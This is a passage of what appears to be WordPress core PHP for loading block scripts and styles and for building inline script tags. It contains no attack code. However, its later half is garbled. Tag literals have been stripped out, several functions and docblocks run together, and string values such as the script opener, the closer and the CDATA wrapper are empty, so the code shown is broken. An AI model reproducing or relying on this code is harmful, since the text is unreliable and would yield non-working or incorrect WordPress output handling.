loaded separately or via a combined 'wp-block-library' stylesheet. * * This only affects front end and not the block editor screens. * * @since 6.8.0 * @see wp_should_load_separate_core_block_assets() * * @return bool Whether to load block assets only when they are rendered. */ function wp_should_load_block_assets_on_demand() { if ( is_admin() || is_feed() || wp_is_rest_endpoint() ) { return false; } /* * For backward compatibility, the default return value for this function is based on the return value of * `wp_should_load_separate_core_block_assets()`. Initially, this function used to control both of these concerns. */ $load_assets_on_demand = wp_should_load_separate_core_block_assets(); /** * Filters whether block styles should be loaded on demand. * * Returning false loads all block assets, regardless of whether they are rendered in a page or not. * Returning true loads block assets only when they are rendered. * * The default value of the filter depends on the result of {@see wp_should_load_separate_core_block_assets()}, * which controls whether Core block stylesheets should be loaded separately or via a combined 'wp-block-library' * stylesheet. * * @since 6.8.0 * * @param bool $load_assets_on_demand Whether to load block assets only when they are rendered. */ return apply_filters( 'should_load_block_assets_on_demand', $load_assets_on_demand ); } /** * Enqueues registered block scripts and styles, depending on current rendered * context (only enqueuing editor scripts while in context of the editor). * * @since 5.0.0 * * @global WP_Screen $current_screen WordPress current screen object. */ function wp_enqueue_registered_block_scripts_and_styles() { global $current_screen; if ( wp_should_load_block_assets_on_demand() ) { return; } $load_editor_scripts_and_styles = is_admin() && wp_should_load_block_editor_scripts_and_styles(); $block_registry = WP_Block_Type_Registry::get_instance(); /* * Block styles are only enqueued if they're registered. For core blocks, this is only the case if * `wp_should_load_separate_core_block_assets()` returns true. Otherwise they use the single combined * 'wp-block-library` stylesheet. See also `register_core_block_style_handles()`. * Since `wp_enqueue_style()` does not trigger warnings if the style is not registered, it is okay to not cater for * this behavior here and simply call `wp_enqueue_style()` unconditionally. */ foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) { // Front-end and editor styles. foreach ( $block_type->style_handles as $style_handle ) { wp_enqueue_style( $style_handle ); } // Front-end and editor scripts. foreach ( $block_type->script_handles as $script_handle ) { wp_enqueue_script( $script_handle ); } if ( $load_editor_scripts_and_styles ) { // Editor styles. foreach ( $block_type->editor_style_handles as $editor_style_handle ) { wp_enqueue_style( $editor_style_handle ); } // Editor scripts. foreach ( $block_type->editor_script_handles as $editor_script_handle ) { wp_enqueue_script( $editor_script_handle ); } } } } /** * Function responsible for enqueuing the styles required for block styles functionality on the editor and on the frontend. * * @since 5.3.0 * * @global WP_Styles $wp_styles */ function enqueue_block_styles_assets() { global $wp_styles; $block_styles = WP_Block_Styles_Registry::get_instance()->get_all_registered(); foreach ( $block_styles as $block_name => $styles ) { foreach ( $styles as $style_properties ) { if ( isset( $style_properties['style_handle'] ) ) { // If the site loads block styles on demand, enqueue the stylesheet on render. if ( wp_should_load_block_assets_on_demand() ) { add_filter( 'render_block', static function ( $html, $block ) use ( $block_name, $style_properties ) { if ( $block['blockName'] === $block_name ) { wp_enqueue_style( $style_properties['style_handle'] ); } return $html; }, 10, 2 ); } else { wp_enqueue_style( $style_properties['style_handle'] ); } } if ( isset( $style_properties['inline_style'] ) ) { // Default to "wp-block-library". $handle = 'wp-block-library'; // If the site loads block styles on demand, check if the block has a stylesheet registered. if ( wp_should_load_block_assets_on_demand() ) { $block_stylesheet_handle = generate_block_asset_handle( $block_name, 'style' ); if ( isset( $wp_styles->registered[ $block_stylesheet_handle ] ) ) { $handle = $block_stylesheet_handle; } } // Add inline styles to the calculated handle. wp_add_inline_style( $handle, $style_properties['inline_style'] ); } } } } /** * Function responsible for enqueuing the assets required for block styles functionality on the editor. * * @since 5.3.0 */ function enqueue_editor_block_styles_assets() { $block_styles = WP_Block_Styles_Registry::get_instance()->get_all_registered(); $register_script_lines = array( '( function() {' ); foreach ( $block_styles as $block_name => $styles ) { foreach ( $styles as $style_properties ) { $block_style = array( 'name' => $style_properties['name'], 'label' => $style_properties['label'], ); if ( isset( $style_properties['is_default'] ) ) { $block_style['isDefault'] = $style_properties['is_default']; } $register_script_lines[] = sprintf( ' wp.blocks.registerBlockStyle( \'%s\', %s );', $block_name, wp_json_encode( $block_style ) ); } } $register_script_lines[] = '} )();'; $inline_script = implode( "\n", $register_script_lines ); wp_register_script( 'wp-block-styles', false, array( 'wp-blocks' ), true, array( 'in_footer' => true ) ); wp_add_inline_script( 'wp-block-styles', $inline_script ); wp_enqueue_script( 'wp-block-styles' ); } /** * Enqueues the assets required for the block directory within the block editor. * * @since 5.5.0 */ function wp_enqueue_editor_block_directory_assets() { wp_enqueue_script( 'wp-block-directory' ); wp_enqueue_style( 'wp-block-directory' ); } /** * Enqueues the assets required for the format library within the block editor. * * @since 5.8.0 */ function wp_enqueue_editor_format_library_assets() { wp_enqueue_script( 'wp-format-library' ); wp_enqueue_style( 'wp-format-library' ); } /** * Sanitizes an attributes array into an attributes string to be placed inside a `\n", wp_sanitize_script_attributes( $attributes ) ); } /** * Prints formatted ` * * In an HTML document this would print "…" to the console, * but in an XHTML document it would print "…" to the console. * * * * In an HTML document this would print "An image is in HTML", * but it's an invalid XHTML document because it interprets the `` * as an empty tag missing its closing `/`. * * @see https://www.w3.org/TR/xhtml1/#h-4.8 */ if ( ! $is_html5 && ( ! isset( $attributes['type'] ) || 'module' === $attributes['type'] || str_contains( $attributes['type'], 'javascript' ) || str_contains( $attributes['type'], 'ecmascript' ) || str_contains( $attributes['type'], 'jscript' ) || str_contains( $attributes['type'], 'livescript' ) ) ) { /* * If the string `]]>` exists within the JavaScript it would break * out of any wrapping CDATA section added here, so to start, it's * necessary to escape that sequence which requires splitting the * content into two CDATA sections wherever it's found. * * Note: it's only necessary to escape the closing `]]>` because * an additional `', ']]]]>', $data ); // Wrap the entire escaped script inside a CDATA section. $data = sprintf( "/* */", $data ); } $data = "\n" . trim( $data, "\n\r " ) . "\n"; /** * Filters attributes to be added to a script tag. * * @since 5.7.0 * * @param array $attributes Key-value pairs representing `\n", wp_sanitize_script_attributes( $attributes ), $data ); } /** * Prints an inline script tag. * * It is possible to inject attributes in the `" from * around an inline script after trimming whitespace. Typically this * is used in conjunction with output buffering, where `ob_get_clean()` * is passed as the `$contents` argument. * * Example: * * // Strips exact literal empty SCRIPT tags. * $js = '; * 'sayHello();' === wp_remove_surrounding_empty_script_tags( $js ); * * // Otherwise if anything is different it warns in the JS console. * $js = ''; * 'console.error( ... )' === wp_remove_surrounding_empty_script_tags( $js ); * * @since 6.4.0 * @access private * * @see wp_print_inline_script_tag() * @see wp_get_inline_script_tag() * * @param string $contents Script body with manually created SCRIPT tag literals. * @return string Script body without surrounding script tag literals, or * original contents if both exact literals aren't present. */ function wp_remove_surrounding_empty_script_tags( $contents ) { $contents = trim( $contents ); $opener = ''; if ( strlen( $contents ) > strlen( $opener ) + strlen( $closer ) && strtoupper( substr( $contents, 0, strlen( $opener ) ) ) === $opener && strtoupper( substr( $contents, -strlen( $closer ) ) ) === $closer ) { return substr( $contents, strlen( $opener ), -strlen( $closer ) ); } else { $error_message = __( 'Expected string to start with script tag (without attributes) and end with script tag, with optional whitespace.' ); _doing_it_wrong( __FUNCTION__, $error_message, '6.4' ); return sprintf( 'console.error(%s)', wp_json_encode( sprintf( /* translators: %s: wp_remove_surrounding_empty_script_tags() */ __( 'Function %s used incorrectly in PHP.' ), 'wp_remove_surrounding_empty_script_tags()' ) . ' ' . $error_message ) ); } }